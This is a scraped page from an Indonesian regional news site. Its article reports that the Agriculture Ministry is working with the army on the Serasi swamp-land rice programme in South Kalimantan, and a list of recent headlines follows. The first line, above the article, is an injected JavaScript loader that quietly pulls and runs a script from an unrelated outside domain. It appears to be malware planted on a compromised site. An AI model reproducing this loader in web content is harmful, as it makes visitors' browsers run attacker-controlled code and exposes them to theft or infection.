(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pertanian

Kementan Gandeng TNI untuk Pendampingan Program Serasi di Kalsel


Untuk mewujudkan program Selamatkan Rawa Sejahterakan Petani (Serasi) di Kalimantan Selatan (Kalsel), Kementerian Pertanian (Kementan) menggandeng TNI AD dalam Koordinasi Pendampingan TNI AD Program #SERASI Kalsel.

Peran dan fungsi TNI AD dalam pelaksanaan kegiatan ini, antara lain mengkoordinasikan peran serta Babinsa dalam kegiatan yang dilaksanakan petani. Selain itu, membantu pelaksanaan SID dalam hal sosialisasi kegiatan dan mendampingi dalam proses survei lapangan.

“TNI AD juga mendampingi dalam proses pengerjaan fisik di lapangan, membantu menyampaikan laporan perkembangan kegiatan kepada koordinator yang ditetapkan oleh Sterad, dan membantu memastikan semua spesifikasi pekerjaan telah terlaksana sesuai dengan rencana,” papar Direktur Jenderal Prasarana dan Sarana Pertanian (PSP) Kementan, Sarwo Edhy, Jakarta, Kamis (9/5/2019).

Adapun strategi percepatan yang akan dilakukan bersama TNI AD di antaranya memetakan dan memverifikasi usulan calon lokasi atau calon petani di tiap kabupaten. Tahap I pelaksanaan kegiatan diprioritaskan di Kabupaten Barito Kuala dan Kabupaten Tanah Laut, dilanjutkan ke kabupaten lainnya.

Saat ini, 67 unit eksavator bantuan Kementan di Kalsel ditarik ke Kabupaten Barito Kuala. Pekerjaan fisik dilaksanakan secara paralel dengan penyelesaian SID dan pemberkasan kelompok.

“Lalu ada pendampingan intensif oleh petugas pusat/provinsi/kabupaten dan TNI di masing masing titik lokasi. Pencatatan petugas operator, pengamanan alat, transportasi dan asuransi oleh penanggung jawab kegiatan,” ujarnya.

Sebelum menentukan target 250 ribu hektare, Kementan sudah membuat percontohan di Kecamatan Jejangkit, Kabupaten Barito Kuala, Kalsel, pada bentangan potensi lahan rawa seluas 4.000 hektare.

“Kegiatan tersebut telah berhasil mengubah wajah pertanian rawa di Jejangkit, yang awalnya yang tidak dikelola akibat masalah pada lahan rawa. Saat ini, lahan rawa di sana telah dikelola dan ditanami dengan tanaman padi,” ungkap Sarwo Edhy.

Kegiatan pilot percontohan lahan pertanian terpadu yang dikembangkan melalui optimasi lahan rawa bertumpu pada sejumlah kegiatan. Di antaranya pembuatan polder keliling dan tanggul pada saluran tersier dengan menggunakan ekskavator, normalisasi kanal sekunder pada daerah irigasi rawa Jejangkit, dan pembuatan saluran tersier baru untuk membawa air hingga ke tengah lahan.

“Selain itu juga dibuatkan pintu-pintu air yang berfungsi sebagai pengatur air pada saluran-saluran di lokasi lahan. Ada juga penggunaan pompa aksial yang memiliki kapasitas besar,” tambahnya.

Program ini juga melibatkan penggunaan alat mesin pertanian (alsintan), seperti traktor roda 2, traktor roda 4 dan buldozer D21 yang didesain khusus untuk lahan rawa untuk proses pengolahan lahan.

Selain itu juga dilakukan langkah menaikkan PH tanah dengan menggunakan berbagai teknologi, seperti penggunaan amelioran kapur pertanian dan mikroba tanah.

“Selain itu juga dilakukan pemanfaatan dekomposer hasil riset Balittra untuk mempercepat proses penguraian sisa-sisa rumput belukar yang dibersihkan, sehingga tidak diperlukan pembakaran, dan penggunaan benih resisten genangan dan kemasaman, seperti Inpar,” jelasnya.

Pola optimasi lahan rawa yang dilaksanakan Kementan ini telah terbukti berhasil membalikkan kondisi rawa yang suram, menjadi harapan sumber penghasil pangan masa depan. (suara.com)

Reporter:Suara.com
Editor:KK

Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

6 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

7 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

7 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

8 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

13 jam ago

This website uses cookies.